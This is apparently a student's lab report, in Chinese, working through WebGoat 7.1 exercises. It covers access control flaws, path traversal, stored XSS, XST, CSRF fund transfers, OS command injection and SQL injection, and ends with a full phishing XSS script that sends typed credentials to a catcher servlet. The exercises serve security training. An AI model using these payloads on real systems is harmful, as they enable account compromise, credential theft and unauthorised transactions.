标签:ring 权限 vmw 成功 额外 only and 技术 roles
[TOC]
实验环境
Kali
实验工具
webgoat
首先,下载地址:
https://s3.amazonaws.com/webgoat-war/webgoat-container-7.1-war-exec.jar
或者去github上也可以。
其次,cd切换到下载目录:
root@kali:~/下载# java -jar webgoat-container-7.1-war-exec.jar
注意,webgoat服务器占用本地8080端口,需要先把该端口腾出来。
然后,访问本地8080端口:
http://localhost:8080/WebGoat
选择账号登录后即可开始练习,本次实验要求完成10个练习。
看得出这题应该是用来熟悉题型的,user可以尝试hint,检查request参数,前端代码以及代理等,达到理解题目的目的。
1.Type in your name and press ‘go‘
2.turn on Show Parameters or other features
3.Try to intercept the request with OWASP ZAP
4.Press the Show Lesson Plan button to view a lesson summary
5.Press the Show Solution button to view a lesson solution
input
中输点什么,harry
吧,然后Go!
input
框中已经如题所示反转,变为了yrrah
f12打开源码,可以看到表单提交的后台函数#attack/1869022003/100
与url显示的相同
然后Show source
把后台代码贴上来了,在createContent(Websession s)中
person = new StringBuffer(s.getParser().getStringParameter(PERSON, ""));
//获取前端Input值
person.reverse();
//反转
之后就算入门了,正式开始做题
基于角色的权限控制
,并且Only the [Admin] group should have access to the ‘Account Manager‘ resource.
,所以要求我们尝试获得Admin权限。Shemp
属于Admin
组,允许访问Account Manager
而后,可以发现Larry[User,Manager]
被错误的赋予权限,以致于可以访问Account Manager
...
if (!getRoles(user).contains("Admin") && resource.equals("Account Manager"))
{
makeSuccess(s);
}
s.setMessage("User " + user + " " + credentials + " was allowed to access resource " + resource);
//权限验证代码没有问题
...
if (rl.contains(roles[1]))
{
list.add(resources[1]);
list.add(resources[5]);
}//roles[1]即Larry,resources[5]即Account Manager,此处权限赋予出现错误
...
本题要求我们尝试获得权限以访问list提供之外的文件,如WEB-INF/spring-security.xml
Hint中提示可利用相对路径访问
Current Directory is: /root/.extract/webapps/WebGoat/plugin_extracted/plugin/BasicAuthentication/lessonPlans/en
//在URL栏中输入可以打开文件目录,但只有BasicAuthentication.html一个文件
利用BurpSuite打开代理,点击view
之后拦截
File=BasicAuthentication.html&SUBMIT=View+File
将File改为../main.jsp
,forward
即可在页面访问,
阅读题意,在Search
框中插入一段包括获取信息的js脚本的HTML代码,将获取到的信息转发到本地servlet。
前端脚本见知识点
成功后在页面内插入了两个input
This feature requires account login:
Enter Username:
Enter Password:
No results were found.
输入了WebGoat的账号密码后,弹出一个alert
attack.?????? Your credentials were just stolen. User Name = webgoat Password = webgoat
//用户输入的账号信息已经被发给了本地服务器
简单浏览了一下,页面将会把提交的Message发布处来,因此可以提交一段带JS脚本的HTML文本。
尝试一下
Title:
20155214
Message:
<script>alert("It is a simple stored XSS");</script>
成功之后,在原本的位置
Message Contents For: 20155214
Title: 20155214
Message:
Posted by: webgoat
//Message为空,点开之后出现alert弹窗
阅读题意,还是在input
中添加一个JS脚本,当页面执行HTML文本时执行。
查看hint,利用以下代码可以查看cookie
<SCRIPT>alert(document.cookie);</SCRIPT>
以下跨站脚本攻击通过调用ActiveXObject
类,创建Xmlhttp
对象
,可以将charge修改为商品总和
<script type="text/javascript">if ( navigator.appName.indexOf("Microsoft") !=-1){var xmlHttp = new ActiveXObject("Microsoft.XMLHTTP");xmlHttp.open("TRACE", "./", false); xmlHttp.send();str1=xmlHttp.responseText; while (str1.indexOf("\n") > -1) str1 = str1.replace("\n","<br>"); document.write(str1);}</script>
The total charged to your credit card: $1997.96
阅读题意,我们通过输入一条,插入IMG的JS脚本,其URL地址指向attack
的servlet
在Message中,以下JS脚本插入了一张不存在的图片
<img src=‘attack?Screen=2078372&menu=900&transferFunds=5000‘>
运行成功后,F12查看源码,发现Message
位置已经插入了该html文本,该url已经被执行。
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=400"> </iframe>
<iframe src="attack?Screen=1471017872&menu=900&transferFunds=CONFIRM"> </iframe>
成功之后,可以看到在页面上伪造了一个资金转换的交互界面。
Amount to transfer: 400
CONFIRM | CANCEL
阅读题意,尝试向操作系统注入一个命令。
打开Burp Suite,抓一下包
HelpFile
修改为
AccessControlMatrix.help"&&"dir
-点击Go
,即可获得
<!-- Stop Instructions --><br>UserDatabase.mv.db webgoat-container-7.1-exec.jar ?? ??<br>VMwareTools-10.2.5-8068393.tar.gz ?? ?? ??<br>vmware-tools-distrib ?? ?? ??<br>Returncode: 0<br></pre></form></div>
阅读题意,要求我们修改页面上的SQL语句,来使服务器连接数据库输出所有天气信息
正常情况下,SQL语句会按照station
条件查询相关数据。
SELECT * FROM weather_data WHERE station = 101
因此要求很简单,需要将数据库中的所有信息输出,删去条件即可
打开Burp Suite,抓包会发现前端传输了station
数据,因此我们将
station=101&SUBMIT=Go!
修改为
station=101 or 1=1&SUBMIT=Go!
构成了新的SQL语句SELECT * FROM weather_data WHERE station = 101 or 1=1
,即查询条件为永真,输出weather_data中的所有数据。
阅读题意,手工设置SQL字符串注入,获得SMITH的信用卡信息
注入字符串‘ or ‘1‘=‘1
,构成新SQL语句
ELECT * FROM user_data WHERE last_name = ‘‘ or ‘1‘=‘1
即条件为永真,搜索user_data中所有数据。
<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
</div></div>
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.!!!!!! Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br>
<br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>
2017-2018 Exp9 网络欺诈技术防范 20155214
标签:ring 权限 vmw 成功 额外 only and 技术 roles
原文地址:https://www.cnblogs.com/besti155214/p/9108703.html